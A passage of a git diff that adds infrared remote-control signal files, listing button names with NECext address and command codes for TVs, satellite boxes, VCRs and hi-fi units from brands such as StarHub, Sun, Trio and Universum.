2C 00 00 00 +# +name: KEY_X +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: MIX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: Psz +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: b11_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: Pst +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: Pon +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: SEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir b/assets/resources/infrared/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir new file mode 100644 index 000000000..8552ce8a3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 21 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 43 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 5C 00 00 00 +# +name: mosaic +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 66 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 6D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 6E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 6F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 70 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 81 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 83 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 21 90 00 00 +command: 84 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 21 90 00 00 +command: CC 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 21 90 00 00 +command: DB 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 21 90 00 00 +command: E0 00 00 00 +# +name: messaging +type: parsed +protocol: NECext +address: 21 90 00 00 +command: F3 00 00 00 +# +name: games +type: parsed +protocol: NECext +address: 21 90 00 00 +command: F5 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 21 90 00 00 +command: F6 00 00 00 +# +name: pound +type: parsed +protocol: NECext +address: 21 90 00 00 +command: F7 00 00 00 +# +name: ppv-vod +type: parsed +protocol: NECext +address: 21 90 00 00 +command: FD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/sun/Unknown_sun/26,9.ir b/assets/resources/infrared/_CSV-IRDB_/sun/Unknown_sun/26,9.ir new file mode 100644 index 000000000..54911f1e9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/sun/Unknown_sun/26,9.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: horizontalRIGHT +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 0C 00 00 00 +# +name: horizontalLEFT +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 0D 00 00 00 +# +name: verticalUP +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 0E 00 00 00 +# +name: verticalDOWN +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 0F 00 00 00 +# +name: tiltDOWNRIGHT +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 10 00 00 00 +# +name: tiltDOWNLEFT +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 11 00 00 00 +# +name: contrastUP +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 18 00 00 00 +# +name: contrastDOWN +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 19 00 00 00 +# +name: brightUP +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 1E 00 00 00 +# +name: brightDOWN +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 1F 00 00 00 +# +name: widthRIGHT +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 26 00 00 00 +# +name: widthLEFT +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 27 00 00 00 +# +name: heightUP +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 28 00 00 00 +# +name: heightDOWN +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 29 00 00 00 +# +name: converganceRIGHT +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 2A 00 00 00 +# +name: converganceLEFT +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 2B 00 00 00 +# +name: converganceUP +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 2C 00 00 00 +# +name: converganceDOWN +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 2D 00 00 00 +# +name: sizeUP +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 37 00 00 00 +# +name: sizeDOWN +type: parsed +protocol: NECext +address: 1A 09 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir new file mode 100644 index 000000000..c96214178 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: tv/radio +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: last_pr +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: pal/ntsc +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: uhf +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/universum/SAT/97,135.ir b/assets/resources/infrared/_CSV-IRDB_/universum/SAT/97,135.ir new file mode 100644 index 000000000..bdfc7de82 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/universum/SAT/97,135.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: off +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 00 00 00 00 +# +name: VL +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 06 00 00 00 +# +name: PL +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 0E 00 00 00 +# +name: DEC +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 19 00 00 00 +# +name: copy +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 1C 00 00 00 +# +name: tune- +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 1E 00 00 00 +# +name: tune+ +type: parsed +protocol: NECext +address: 61 87 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir new file mode 100644 index 000000000..ed07a69a4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 21 00 00 00 +# +name: swap +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 22 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 44 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 45 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 52 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir new file mode 100644 index 000000000..433869bc6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: TV_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: P_P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: I_II +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: TEXT_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: TEXT_CLOCK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: TEXT_UPDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: TEXT_QUESTION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: TEXT_X +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: TEXT_HALFPAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: TV_MOVE_HORIZ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: TV_UPPERRIGHTCORNER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: TV_MOVEFROMUPPERRIGHTCORNER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: TV_MOVEFROMTHERETOO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: TV_UPPERRIGHTCORNER_ANDTRIANGLEINTHELOWERCORNER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 +# +name: TV_MUSTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 60 00 00 00 +# +name: BRIGHT_LEVEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 64 00 00 00 +# +name: TV_UPPERRIGHTCORNER_TRIANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 65 00 00 00 +# +name: GRAY+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 66 00 00 00 +# +name: GRAY- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 67 00 00 00 +# +name: TV_UPPERLEFTCORNER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 68 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: WHITE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 71 00 00 00 +# +name: TV_FORMAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/universum/Unknown_universum/16,16.ir b/assets/resources/infrared/_CSV-IRDB_/universum/Unknown_universum/16,16.ir new file mode 100644 index 000000000..c252ab74c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/universum/Unknown_universum/16,16.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 00 00 00 00 +# +name: MW +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 01 00 00 00 +# +name: LW +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 02 00 00 00 +# +name: CDP +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 03 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 04 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 05 00 00 00 +# +name: CD_TRACK- +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 06 00 00 00 +# +name: CD_TRACK+ +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 07 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 08 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 09 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 0B 00 00 00 +# +name: TP_PLAYR +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 0C 00 00 00 +# +name: TP_PLAY +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 0D 00 00 00 +# +name: TP_STOP +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 0E 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 0F 00 00 00 +# +name: TP_REW +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 10 00 00 00 +# +name: TP_FFD +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 11 00 00 00 +# +name: TP_PAUSE +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 14 00 00 00 +# +name: TP_REC +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 17 00 00 00 +# +name: TUN- +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 1A 00 00 00 +# +name: TUN+ +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 1B 00 00 00 +# +name: TP_A +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 1E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 1F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 41 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 42 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 43 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 44 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 46 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 47 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 48 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 49 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 4B 00 00 00 +# +name: CD_PROG +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 4D 00 00 00 +# +name: CD_REPEAT +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 4E 00 00 00 +# +name: CD_FFD +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 52 00 00 00 +# +name: CD_REW +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 53 00 00 00 +# +name: TP_B +type: parsed +protocol: NECext +address: 10 10 00 00 +command: 83 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 10 10 00 00 +command: C1 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 10 10 00 00 +command: C2 00 00 00 +# +name: TP_RMUTE +type: parsed +protocol: NECext +address: 10 10 00 00 +command: D1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/universum/VCR/128,123.ir b/assets/resources/infrared/_CSV-IRDB_/universum/VCR/128,123.ir new file mode 100644 index 000000000..89c67e8eb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/universum/VCR/128,123.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0B 00 00 00 +# +name: input_select +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0C 00 00 00 +# +name: timer_rec +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 0D 00 00 00 +# +name: tv_vcr_scart_sw +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 13 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 16 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 17 00 00 00 +# +name: f.fwd +type: parsed +protocol: NECext +address: 80 7B 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 